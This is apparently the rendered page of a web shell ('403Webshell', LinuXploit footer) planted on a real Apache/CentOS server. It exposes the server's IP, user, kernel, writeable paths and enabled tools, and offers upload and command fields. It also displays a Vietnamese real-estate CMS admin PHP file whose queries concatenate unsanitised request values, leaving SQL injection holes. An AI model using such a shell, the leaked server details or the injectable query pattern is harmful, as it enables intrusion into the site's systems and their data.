403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/nhadatkhangdien.net-bk/public_html/admin/sources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/nhadatkhangdien.net-bk/public_html/admin/sources/vdsp.php
<?php	if(!defined('_source')) die("Error");
$idcat=$_REQUEST['id_cat'];
$idlist=$_REQUEST['id_list'];
$iditem=$_REQUEST['id_item'];
$idproduct=$_REQUEST['id_product'];
$act  =  (isset($_REQUEST['act'])) ? addslashes($_REQUEST['act']) : "";

switch($act){
	case "default":
		get_news();
		$template  =  "vdsp/news";
		break;
	case "add":
		$template  =  "vdsp/news_add";
		break;
	case "edit":		
		get_news_edit();		
		$template  =  "vdsp/news_add";
		break;
	case "save":
		save_news();
		break;
	case "delete":
		delete_news();
		break;
	default:
		$template  =  "order_num";
}

function fns_Rand_digit($min,$max,$num)
	{
		$result = '';
		for($i = 0;$i<$num;$i++){
			$result .= rand($min,$max);
		}
		return $result;	
	}


function get_news(){
	global $d, $news, $paging;
	
	
	
	$news_query = "SELECT * FROM #_vdsp where id_product='".$_REQUEST['id_product']."' ORDER BY stt ,id DESC";
	
	$d->query($news_query);
	$news = $d->result_array();
	
	$curPage = isset($_GET['curPage']) ? $_GET['curPage'] : 1;
	$url = getCurrentPageURL();
	$maxR = 20;
	$maxP = 4;
	$paging = paging($news, $url, $curPage, $maxR, $maxP);
	$news = $paging['source'];
}

function get_news_edit(){
	global $d, $news,$idcat,$idlist,$iditem,$idproduct;
	$id_news = isset($_GET['id']) ? themdau($_GET['id']) : "";
	if(!$id_news){
		transfer("Không nhận được dữ liệu", "index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
	}
	$news_query =  "SELECT * FROM #_vdsp WHERE id = '" . $id_news . "'";
	$d->query($news_query);
	if($d->num_rows() == 0) transfer("Dữ liệu không có thực", "index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
	$news = $d->fetch_array();
}

function save_news(){
	global $d,$idcat,$idlist,$iditem,$idproduct;
	$file_name = fns_Rand_digit(0,9,8);
	if(empty($_POST)) transfer("Không nhận được dữ liệu", "index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
	$id_news = isset($_POST['id']) ? themdau($_POST['id']) : "";
	if($id_news){
		$id_news = themdau($_POST['id']);
		
		if($photo = upload_image("file", 'jpg|png|gif',_upload_tintuc,$file_name)){
			$data['photo'] = $photo;
			$d->setTable('vdsp');
			$d->setWHERE('id', $id_news);
			$d->SELECT();
			if($d->num_rows() > 0){
				$row = $d->fetch_array();
				delete_file(_upload_tintuc . $row['photo']);
			}
		}
		
		$data['ten']  =  $_POST['ten'];
		$data['tenkhongdau']  = $_POST['ten2'];
		$data['id_product']  =  $_REQUEST['id_product'];
		$data['stt']  =  $_POST['stt'];
		
		
		$d->setTable('vdsp');
		$d->setWHERE('id', $id_news);
		if($d->update($data))
				redirect("index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
		else
			transfer("Cập nhật dữ liệu bị lỗi", "index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
	}else{
		
		if($photo  =  upload_image("file", 'jpg|png|gif',_upload_tintuc,$file_name)){
			$data['photo']  =  $photo;
		}
		alert( $_POST['ten2']);
		$data['ten']  =  $_POST['ten'];
		$data['tenkhongdau']  =   $_POST['ten2'];
		$data['id_product']  = $_REQUEST['id_product'];
		$data['stt']  =  $_POST['stt'];
		
		$d->setTable('vdsp');
		if($d->insert($data))
			redirect("index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
		else
			transfer("Lưu dữ liệu bị lỗi", "index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
	}
}

function delete_news(){
	global $d,$idcat,$idlist,$iditem,$idproduct;
	
	if(isset($_GET['id'])){
		$id = themdau($_GET['id']);
		
		$d->reset();
		$sql  =  "SELECT * FROM #_vdsp WHERE id = '" . $id . "'";
		$d->query($sql);
		if($d->num_rows()>0){
			while($row  =  $d->fetch_array()){
				delete_file(_upload_tintuc . $row['photo']);
				delete_file(_upload_tintuc . $row['thumb']);
			}
			$sql  =  "delete FROM #_vdsp WHERE id = '" . $id . "'";
			$d->query($sql);
		}
		
		if($d->query($sql))
			redirect("index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
		else
			transfer("Xóa dữ liệu bị lỗi", "index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
	}else transfer("Không nhận được dữ liệu", "index.php?com=vdsp&act=default&id_product=$idproduct&id_cat=$idcat&id_list=$idlist&id_item=$iditem");
}

$news_active  =  'style="color:#f66;"';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit